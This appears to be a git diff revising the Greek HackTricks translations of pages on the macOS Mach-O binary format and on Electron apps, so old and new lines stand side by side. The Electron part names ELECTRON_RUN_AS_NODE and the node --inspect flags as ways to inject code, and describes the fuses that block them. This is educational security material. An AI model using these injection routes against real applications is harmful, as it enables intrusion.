/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
/bin/ls (for architecture x86_64): Mach-O 64-bit executable x86_64
/bin/ls (for architecture arm64e): Mach-O 64-bit executable arm64e
/bin/ls: Πανεπιστημιακό δυαδικό Mach-O με 2 αρχιτεκτονικές: [x86_64:Mach-O 64-bit εκτελέσιμο x86_64] [arm64e:Mach-O 64-bit εκτελέσιμο arm64e]
/bin/ls (για αρχιτεκτονική x86_64): Mach-O 64-bit εκτελέσιμο x86_64
/bin/ls (για αρχιτεκτονική arm64e): Mach-O 64-bit εκτελέσιμο arm64e
% otool -f -v /bin/ls
Fat headers
Παχύ κεφαλίδες
fat_magic FAT_MAGIC
<strong>nfat_arch 2
</strong><strong>architecture x86_64
</strong><strong>αρχιτεκτονική x86_64
</strong> cputype CPU_TYPE_X86_64
cpusubtype CPU_SUBTYPE_X86_64_ALL
capabilities 0x0
δυνατότητες 0x0
<strong> offset 16384
</strong><strong> size 72896
</strong> align 2^14 (16384)
<strong>architecture arm64e
</strong> ευθυγράμμιση 2^14 (16384)
<strong>αρχιτεκτονική arm64e
</strong> cputype CPU_TYPE_ARM64
cpusubtype CPU_SUBTYPE_ARM64E
capabilities PTR_AUTH_VERSION USERSPACE 0
δυνατότητες PTR_AUTH_VERSION USERSPACE 0
<strong> offset 98304
</strong><strong> size 88816
</strong> align 2^14 (16384)
</strong> ευθυγράμμιση 2^14 (16384)
</code></pre>
ή χρησιμοποιώντας το εργαλείο [Mach-O View](https://sourceforge.net/projects/machoview/):
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Όπως μπορείτε να σκεφτείτε, ένα πανεπιστημιακό δυαδικό που έχει μεταγλωττιστεί για 2 αρχιτεκτονικές **διπλασιάζει το μέγεθος** ενός που έχει μεταγλωττιστεί για μόνο 1 αρχιτεκτονική.
Όπως ίσως σκέφτεστε συνήθως ένα πανεπιστημιακό δυαδικό μεταγλωττισμένο για 2 αρχιτεκτονικές **διπλασιάζει το μέγεθος** ενός μεταγλωττισμένου για μόνο 1 αρχιτεκτονική.
## **Κεφαλίδα Mach-O**
Η κεφαλίδα περιέχει βασικές πληροφορίες για το αρχείο, όπως μαγικά bytes για να το αναγνωρίσει ως αρχείο Mach-O και πληροφορίες για την αρχιτεκτονική στόχο. Μπορείτε να το βρείτε στο: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
Η κεφαλίδα περιέχει βασικές πληροφορίες σχετικά με το αρχείο, όπως τα μαγικά bytes για την αναγνώρισή του ως αρχείο Mach-O και πληροφορίες σχετικά με την επιθυμητή αρχιτεκτονική. Μπορείτε να το βρείτε στο: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c
#define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -111,11 +111,11 @@ uint32_t flags; /* flags */
uint32_t reserved; /* reserved */
};
```
**Τύποι αρχείων**:
**Τύποι Αρχείων**:
* MH\_EXECUTE (0x2): Κανονικό εκτελέσιμο αρχείο Mach-O
* MH\_DYLIB (0x6): Δυναμική συνδεδεμένη βιβλιοθήκη Mach-O (δηλαδή .dylib)
* MH\_BUNDLE (0x8): Πακέτο Mach-O (δηλαδή .bundle)
* MH\_EXECUTE (0x2): Κανονικό εκτελέσιμο Mach-O
* MH\_DYLIB (0x6): Μια δυναμική συνδεδεμένη βιβλιοθήκη Mach-O (δηλαδή .dylib)
* MH\_BUNDLE (0x8): Ένα πακέτο Mach-O (δηλαδή .bundle)
```bash
# Checking the mac header of a binary
otool -arch arm64e -hv /bin/ls
@ -129,51 +129,51 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
## **Εντολές φόρτωσης Mach-O**
Εδώ καθορίζεται η **διάταξη του αρχείου στη μνήμη**, αναλύοντας τη **θέση του πίνακα συμβόλων**, το πλαίσιο του κύριου νήματος κατά την έναρξη εκτέλεσης και τις απαιτούμενες **κοινόχρηστες βιβλιοθήκες**. Δίνονται οδηγίες στον δυναμικό φορτωτή **(dyld)** για τη διαδικασία φόρτωσης του δυαδικού αρχείου στη μνήμη.
Η **διάταξη του αρχείου στη μνήμη** καθορίζεται εδώ, αναλύοντας τη **θέση του πίνακα συμβόλων**, το πλαίσιο του κύριου νήματος στην έναρξη εκτέλεσης και τις απαιτούμενες **κοινόχρηστες βιβλιοθήκες**. Δίνονται οδηγίες στον δυναμικό φορτωτή **(dyld)** για τη διαδικασία φόρτωσης του δυαδικού στη μνήμη.
Χρησιμοποιείται η δομή **load\_command**, που ορίζεται στο αναφερόμενο **`loader.h`**:
Χρησιμοποιεί τη δομή **load\_command**, που ορίζεται στο αναφερόμενο **`loader.h`**:
```objectivec
struct load_command {
uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */
};
```
Υπάρχουν περίπου **50 διαφορετικοί τύποι εντολών φόρτωσης** που το σύστημα χειρίζεται διαφορετικά. Οι πιο συνηθισμένοι είναι: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` και `LC_CODE_SIGNATURE`.
Υπάρχουν περίπου **50 διαφορετικοί τύποι εντολών φόρτωσης** που το σύστημα χειρίζεται διαφορετικά. Οι πιο κοινοί είναι: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` και `LC_CODE_SIGNATURE`.
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
Βασικά, αυτός ο τύπος εντολής φόρτωσης καθορίζει **πώς να φορτώσει τα \_\_TEXT** (εκτελέσιμος κώδικας) **και \_\_DATA** (δεδομένα για τη διεργασία) **τμήματα** σύμφωνα με τις **μετατοπίσεις που υποδεικνύονται στην ενότητα Δεδομένων** όταν εκτελείται το δυαδικό αρχείο.
Βασικά, αυτός ο τύπος Load Command καθορίζει **πώς να φορτώσει το \_\_TEXT** (εκτελέσιμος κώδικας) **και το \_\_DATA** (δεδομένα για τη διαδικασία) **segments** σύμφωνα με τα **offsets που υποδεικνύονται στην ενότητα Δεδομένων** όταν το δυαδικό εκτελείται.
{% endhint %}
Αυτές οι εντολές **καθορίζουν τα τμήματα** που **αντιστοιχίζονται** στον **εικονικό χώρο μνήμης** μιας διεργασίας όταν εκτελείται.
Αυτές οι εντολές **καθορίζουν segments** που **αντιστοιχίζονται** στο **εικονικό χώρο μνήμης** μιας διαδικασίας κατά την εκτέλεσή της.
Υπάρχουν **διάφοροι τύποι** τμημάτων, όπως το τμήμα **\_\_TEXT**, που περιέχει τον εκτελέσιμο κώδικα ενός προγράμματος, και το τμήμα **\_\_DATA**, που περιέχει δεδομένα που χρησιμοποιούνται από τη διεργασία. Αυτά τα **τμήματα βρίσκονται στην ενότητα δεδομένων** του αρχείου Mach-O.
Υπάρχουν **διαφορετικοί τύποι** segments, όπως το segment **\_\_TEXT**, που κρατά τον εκτελέσιμο κώδικα ενός προγράμματος, και το segment **\_\_DATA**, που περιέχει δεδομένα που χρησιμοποιούνται από τη διαδικασία. Αυτά τα **segments βρίσκονται στην ενότητα δεδομένων** του αρχείου Mach-O.
**Κάθε τμήμα** μπορεί να χωριστεί περαιτέρω σε πολλαπλές **ενότητες**. Η δομή της εντολής φόρτωσης περιέχει **πληροφορίες** για **αυτές τις ενότητες** εντός του αντίστοιχου τμήματος.
**Κάθε segment** μπορεί να χωριστεί περαιτέρω σε πολλαπλές **ενότητες**. Η δομή της **εντολής φόρτωσης** περιέχει **πληροφορίες** σχετικά με **αυτές τις ενότητες** εντός του αντίστοιχου segment.
Στην κεφαλίδα πρώτα βρίσκεται η **κεφαλίδα τμήματος**:
Στην κεφαλίδα πρώτα βρίσκεται η **κεφαλίδα segment**:
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* για 64-bit αρχιτεκτονικές */
uint32_t cmd; /* LC_SEGMENT_64 */
uint32_t cmdsize; /* περιλαμβάνει το μέγεθος των δομών section_64 */
char segname[16]; /* όνομα τμήματος */
uint64_t vmaddr; /* διεύθυνση μνήμης αυτού του τμήματος */
uint64_t vmsize; /* μέγεθος μνήμης αυτού του τμήματος */
uint64_t fileoff; /* αρχείο μετατόπισης αυτού του τμήματος */
uint64_t filesize; /* ποσό για χαρτογράφηση από το αρχείο */
char segname[16]; /* όνομα segment */
uint64_t vmaddr; /* διεύθυνση μνήμης αυτού του segment */
uint64_t vmsize; /* μέγεθος μνήμης αυτού του segment */
uint64_t fileoff; /* αρχείο offset αυτού του segment */
uint64_t filesize; /* ποσότητα που θα χαρτογραφηθεί από το αρχείο */
int32_t maxprot; /* μέγιστη προστασία VM */
int32_t initprot; /* αρχική προστασία VM */
<strong> uint32_t nsects; /* αριθμός ενοτήτων στο τμήμα */
<strong> uint32_t nsects; /* αριθμός ενοτήτων στο segment */
</strong> uint32_t flags; /* σημαίες */
};
</code></pre>
Παράδειγμα κεφαλίδας τμήματος:
Παράδειγμα κεφαλίδας segment:
<figure><img src="../../../.gitbook/assets/image (2) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αυτή η κεφαλίδα καθορίζει τον **αριθμό των ενοτήτων των οποίων οι κεφαλίδες ακολουθούν** μετά από αυτήν:
Αυτή η κεφαλίδα καθορίζει τον **αριθμό των ενοτήτων των οποίων οι κεφαλίδες εμφανίζονται μετά** από αυτήν:
```c
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
@ -194,48 +194,48 @@ uint32_t reserved3; /* reserved */
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
Εάν **προσθέσετε** το **offset της ενότητας** (0x37DC) + το **offset** όπου **αρχίζει η αρχιτεκτονική**, σε αυτήν την περίπτωση `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
Εάν **προσθέσετε** το **μετατόπιση ενότητας** (0x37DC) + το **μετατόπιση** όπου **ξεκινά η αρχιτεκτονική**, σε αυτήν την περίπτωση `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Είναι επίσης δυνατό να πάρετε τις πληροφορίες των **επικεφαλίδων** από τη **γραμμή εντολών** με:
Είναι επίσης δυνατό να λάβετε πληροφορίες **επικεφαλίδων** από τη **γραμμή εντολών** με:
```bash
otool -lv /bin/ls
```
Κοινά τμήματα που φορτώνονται από αυτήν την εντολή:
* **`__PAGEZERO`:** Οδηγεί τον πυρήνα να **χαρτογραφήσει** τη **διεύθυνση μηδέν** έτσι ώστε να **μην μπορεί να διαβαστεί, να γραφτεί ή να εκτελεστεί**. Οι μεταβλητές maxprot και minprot στη δομή ορίζονται σε μηδέν για να υποδείξουν ότι δεν υπάρχουν **δικαιώματα ανάγνωσης-εγγραφής-εκτέλεσης σε αυτήν τη σελίδα**.
* Αυτή η δέσμευση είναι σημαντική για την **αντιμετώπιση ευπάθειας αναφοράς σε μηδενικό δείκτη**.
* **`__TEXT`**: Περιέχει **εκτελέσιμο** **κώδικα** με δικαιώματα **ανάγνωσης** και **εκτέλεσης** (χωρίς εγγράψιμο)**.** Κοινά τμήματα αυτού του τμήματος:
* **`__PAGEZERO`:** Οδηγεί τον πυρήνα να **χαρτογραφήσει** τη **διεύθυνση μηδέν** έτσι ώστε να μην μπορεί να **διαβαστεί, να γραφτεί ή να εκτελεστεί**. Οι μεταβλητές maxprot και minprot στη δομή έχουν οριστεί σε μηδέν για να υποδείξουν ότι δεν υπάρχουν **δικαιώματα ανάγνωσης-εγγραφής-εκτέλεσης σε αυτήν τη σελίδα**.
* Αυτή η δέσμευση είναι σημαντική για την **αντιμετώπιση ευπαθειών αναφοράς σε μηδενικό δείκτη (NULL pointer dereference vulnerabilities)**.
* **`__TEXT`**: Περιέχει **εκτελέσιμο κώδικα** με δικαιώματα **ανάγνωσης** και **εκτέλεσης** (χωρίς εγγραφή)**.** Κοινά τμήματα αυτού του τμήματος:
* `__text`: Μεταγλωττισμένος δυαδικός κώδικας
* `__const`: Σταθερά δεδομένα
* `__cstring`: Σταθερές συμβολοσειρές
* `__stubs` και `__stubs_helper`: Συμμετέχουν κατά τη διάρκεια της διαδικασίας φόρτωσης δυναμικής βιβλιοθήκης
* **`__DATA`**: Περιέχει δεδομένα που είναι **αναγνώσιμα** και **εγγράψιμα** (χωρίς εκτελέσιμο)**.**
* `__stubs` και `__stubs_helper`: Εμπλέκονται κατά τη διαδικασία φόρτωσης δυναμικής βιβλιοθήκης
* **`__DATA`**: Περιέχει δεδομένα που είναι **αναγνώσιμα** και **εγγράψιμα** (χωρίς εκτέλεση)**.**
* `__data`: Παγκόσμιες μεταβλητές (που έχουν αρχικοποιηθεί)
* `__bss`: Στατικές μεταβλητές (που δεν έχουν αρχικοποιηθεί)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, κλπ): Πληροφορίες που χρησιμοποιούνται από τον χρόνο εκτέλεσης Objective-C
* **`__LINKEDIT`**: Περιέχει πληροφορίες για τον σύνδεσμο (dyld) όπως "σύμβολο, συμβολοσειρά και καταχωρητές ανακατάταξης".
* **`__OBJC`**: Περιέχει πληροφορίες που χρησιμοποιούνται από τον χρόνο εκτέλεσης Objective-C. Ωστόσο, αυτές οι πληροφορίες μπορεί επίσης να βρεθούν στο τμήμα \_\_DATA, μέσα σε διάφορα τμήματα \_\_objc\_\*.
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, κλπ): Πληροφορίες που χρησιμοποιούνται από το runtime της Objective-C
* **`__LINKEDIT`**: Περιέχει πληροφορίες για τον σύνδεσμο (dyld) όπως "σύμβολο, συμβολοσειρά και καταχώρηση πίνακα επανατοποθέτησης."
* **`__OBJC`**: Περιέχει πληροφορίες που χρησιμοποιούνται από το runtime της Objective-C. Ωστόσο, αυτές οι πληροφορίες μπορεί επίσης να βρεθούν στο τμήμα \_\_DATA, εντός διαφόρων τμημάτων \_\_objc\_\*.
### **`LC_MAIN`**
Περιέχει το σημείο εισόδου στο **attribute entryoff**. Κατά τη φόρτωση, ο **dyld** απλά **προσθέτει** αυτήν την τιμή στη (στη μνήμη) **βάση του δυαδικού**, και στη συνέχεια **μεταβαίνει** σε αυτήν την εντολή για να ξεκινήσει την εκτέλεση του κώδικα του δυαδικού.
Περιέχει το σημείο εισόδου στο **attribute entryoff**. Κατά τη φόρτωση, το **dyld** απλά **προσθέτει** αυτήν την τιμή στη (στη μνήμη) **βάση του δυαδικού**, και στη συνέχεια **μεταβαίνει** σε αυτήν την εντολή για να ξεκινήσει η εκτέλεση του κώδικα του δυαδικού.
### **LC\_CODE\_SIGNATURE**
Περιέχει πληροφορίες σχετικά με την **υπογραφή κώδικα του αρχείου Macho-O**. Περιέχει μόνο μια **μετατόπιση** που **δείχνει** στο **μπλοκ υπογραφής**. Αυτό συνήθως βρίσκεται στο τέλος του αρχείου.\
Ωστόσο, μπορείτε να βρείτε ορισμένες πληροφορίες σχετικά με αυτήν την ενότητα σε αυτήν την [**ανάρτηση στο blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) και αυτό το [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
Περιέχει πληροφορίες σχετικά με τη **υπογραφή κώδικα του αρχείου Mach-O**. Περιέχει μόνο ένα **μετατόπιση** που **δείχνει** στο **μπλοκ υπογραφής**. Αυτό είναι τυπικά στο πολύ τέλος του αρχείου.\
Ωστόσο, μπορείτε να βρείτε κάποιες πληροφορίες σχετικά με αυτήν την ενότητα στην [**ανάρτηση στο blog αυτό**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) και αυτό το [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
### **LC\_LOAD\_DYLINKER**
Περιέχει τη **διαδρομή προς το εκτελέσιμο δυναμικού συνδέσμου** που αντιστοιχεί τις κοινόχρηστες βιβλιοθήκες στο χώρο διευθύνσεων της διεργασίας. Η τιμή ορίζεται πάντα σε `/usr/lib/dyld`. Σημαντικό είναι να σημειωθεί ότι στο macOS, η αντιστοίχιση dylib γίνεται σε **χρήστης** και όχι σε λειτουργία πυρήνα.
Περιέχει τη **διαδρομή προς το εκτελέσιμο δυναμικού συνδέσμου** που χαρτογραφεί διαμοιραζόμενες βιβλιοθήκες στο χώρο διεύθυνσης της διεργασίας. Η **τιμή είναι πάντα ορισμένη σε `/usr/lib/dyld`**. Σημαντικό είναι να σημειωθεί ότι στο macOS, η αντιστοίχιση dylib συμβαίνει σε **λειτουργία χρήστη**, όχι σε λειτουργία πυρήνα.
### **`LC_LOAD_DYLIB`**
Αυτή η εντολή φόρτωσης περιγράφει μια **δυναμική** **εξάρτηση βιβλιοθήκης** που **οδηγεί** τον **φορτωτή** (dyld) να **φορτώσει και να συνδέσει τη συγκεκριμένη βιβλιοθήκη**. Υπάρχει μια εντολή φόρτωσης LC\_LOAD\_DYLIB **για κάθε βιβλιοθήκη** που απαιτείται από το δυαδικό Mach-O.
Αυτή η εντολή φόρτωσης περιγράφει μια **δυναμική** **εξάρτηση βιβλιοθήκης** που **οδηγεί** τον **φορτωτή** (dyld) να **φορτώσει και να συνδέσει τη συγκεκριμένη βιβλιοθήκη**. Υπάρχει μια εντολή φόρτωσης LC\_LOAD\_DYLIB **για κάθε βιβλιοθήκη** που απαιτεί το δυαδικό Mach-O.
* Αυτή η εντολή φόρτωσης είναι μια δομή τύπου **`dylib_command`** (η οποία περιέχει μια δομή dylib που περιγράφει την πραγματική εξαρτώμενη δυναμική βιβλιοθήκη):
* Αυτή η εντολή φόρτωσης είναι μια δομή τύπου **`dylib_command`** (η οποία περιέχει μια δομή dylib, περιγράφοντας την πραγματική εξαρτώμενη δυναμική βιβλιοθήκη):
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -252,7 +252,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
```
![](<../../../.gitbook/assets/image (558).png>)
Μπορείτε επίσης να λάβετε αυτές τις πληροφορίες από το cli με την εντολή:
Μπορείτε επίσης να λάβετε αυτές τις πληροφορίες από το cli με:
```bash
otool -L /bin/ls
/bin/ls:
@ -260,34 +260,34 @@ otool -L /bin/ls
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
```
Ορισμένες δυνητικές βιβλιοθήκες που σχετίζονται με κακόβουλο λογισμικό είναι:
Μερικές πιθανές βιβλιοθήκες που σχετίζονται με malware είναι:
* **DiskArbitration**: Παρακολούθηση των USB μονάδων
* **AVFoundation:** Καταγραφή ήχου και εικόνας
* **DiskArbitration**: Παρακολούθηση USB drives
* **AVFoundation:** Καταγραφή ήχου και βίντεο
* **CoreWLAN**: Σάρωση Wifi.
{% hint style="info" %}
Ένα δυαδικό Mach-O μπορεί να περιέχει έναν ή **περισσότερους** **constructors**, που θα εκτελεστούν **πριν** τη διεύθυνση που καθορίζεται στο **LC\_MAIN**.\
Οι μετατοπίσεις οποιουδήποτε constructor βρίσκονται στην ενότητα **\_\_mod\_init\_func** του τμήματος **\_\_DATA\_CONST**.
Ένα δυαδικό Mach-O μπορεί να περιέχει έναν ή **περισσότερους κατασκευαστές**, οι οποίοι θα εκτελεστούν **πριν** τη διεύθυνση που καθορίζεται στο **LC\_MAIN**.\
Τα offsets οποιουδήποτε κατασκευαστή κρατούνται στην ενότητα **\_\_mod\_init\_func** του τμήματος **\_\_DATA\_CONST**.
{% endhint %}
## **Δεδομένα Mach-O**
Στην καρδιά του αρχείου βρίσκεται η περιοχή δεδομένων, η οποία αποτελείται από αρκετά τμήματα όπως ορίζονται στην περιοχή των φορτωτικών εντολών. **Μια ποικιλία τμημάτων δεδομένων μπορεί να φιλοξενηθεί σε κάθε τμήμα**, με κάθε τμήμα να **κρατά κώδικα ή δεδομένα** που είναι συγκεκριμένα για έναν τύπο.
Στην καρδιά του αρχείου βρίσκεται η περιοχή δεδομένων, η οποία αποτελείται από διάφορα τμήματα όπως ορίζεται στην περιοχή εντολών φόρτωσης. **Μια ποικιλία τμημάτων δεδομένων μπορεί να φιλοξενείται σε κάθε τμήμα**, με κάθε τμήμα να **κρατά κώδικα ή δεδομένα** που είναι συγκεκριμένα για έναν τύπο.
{% hint style="success" %}
Τα δεδομένα είναι βασικά η μέρος που περιέχει όλες τις **πληροφορίες** που φορτώνονται από τις φορτωτικές εντολές **LC\_SEGMENTS\_64**
Τα δεδομένα είναι βασικά η περιοχή που περιέχει όλες τις **πληροφορίες** που φορτώνονται από τις εντολές φόρτωσης **LC\_SEGMENTS\_64**
{% endhint %}
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
Αυτό περιλαμβάνει:
* **Πίνακας συναρτήσεων:** Ο οποίος περιέχει πληροφορίες για τις συναρτήσεις του προγράμματος.
* **Πίνακας συμβόλων**: Ο οποίος περιέχει πληροφορίες για τις εξωτερικές συναρτήσεις που χρησιμοποιούνται από το δυαδικό αρχείο
* **Πίνακας συναρτήσεων:** Ο οποίος περιέχει πληροφορίες σχετικά με τις λειτουργίες του προγράμματος.
* **Πίνακας συμβόλων**: Ο οποίος περιέχει πληροφορίες σχετικά με τις εξωτερικές λειτουργίες που χρησιμοποιούνται από το δυαδικό
* Μπορεί επίσης να περιέχει εσωτερικές συναρτήσεις, ονόματα μεταβλητών και άλλα.
Για να το ελέγξετε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Mach-O View**](https://sourceforge.net/projects/machoview/):
Για να το ελέγξετε μπορείτε να χρησιμοποιήσετε το [**Mach-O View**](https://sourceforge.net/projects/machoview/) εργαλείο:
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
@ -297,14 +297,14 @@ size -m /bin/ls
```
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,39 +1,39 @@
# Εισαγωγή σε εφαρμογές Electron στο macOS
# Εισαγωγή σε Εφαρμογές Electron στο macOS
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
## Βασικές πληροφορίες
## Βασικές Πληροφορίες
Εάν δεν γνωρίζετε τι είναι το Electron, μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Αλλά για τώρα απλά γνωρίζετε ότι το Electron τρέχει **node**.\
Και το node έχει ορισμένες **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελέσουν άλλον κώδικα** εκτός από τον καθορισμένο αρχείο.
Αν δεν ξέρετε τι είναι το Electron μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Αλλά για τώρα απλά γνωρίστε ότι το Electron τρέχει **node**.\
Και το node έχει μερικές **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελέσουν άλλο κώδικα** εκτός από τον καθορισμένο αρχείο.
### Συγχώνευση Electron
Αυτές οι τεχνικές θα συζητηθούν παρακάτω, αλλά το Electron έχει προσθέσει πρόσφατα αρκετές **σημαίες ασφαλείας για να τις αποτρέψει**. Αυτές είναι οι [**Συγχωνεύσεις Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) και αυτές είναι αυτές που χρησιμοποιούνται για να **αποτρέψουν** τις εφαρμογές Electron στο macOS από το **φόρτωμα αυθαίρετου κώδικα**:
* **`RunAsNode`**: Εάν είναι απενεργοποιημένο, αποτρέπει τη χρήση της μεταβλητής περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** για την εισαγωγή κώδικα.
* **`EnableNodeCliInspectArguments`**: Εάν είναι απενεργοποιημένο, οι παράμετροι όπως `--inspect`, `--inspect-brk` δεν θα τηρούνται. Αποτρέποντας έτσι τον τρόπο εισαγωγής κώδικα.
* **`EnableEmbeddedAsarIntegrityValidation`**: Εάν είναι ενεργοποιημένο, το φορτωμένο **`asar`** **αρχείο** θα ελεγχθεί από το macOS. Αποτρέποντας έτσι την εισαγωγή κώδικα με τροποποίηση του περιεχομένου αυτού του αρχείου.
* **`OnlyLoadAppFromAsar`**: Εάν είναι ενεργοποιημένο, αντί να αναζητά το φόρτωμα με την ακόλουθη σειρά: **`app.asar`**, **`app`** και τελικά **`default_app.asar`**. Θα ελέγχει και θα χρησιμοποιεί μόνο το app.asar, εξασφαλίζοντας έτσι ότι όταν **συνδυαστεί** με τη συγχώνευση **`embeddedAsarIntegrityValidation`** είναι **αδύνατο** να φορτωθεί μη επικυρωμένος κώδικας.
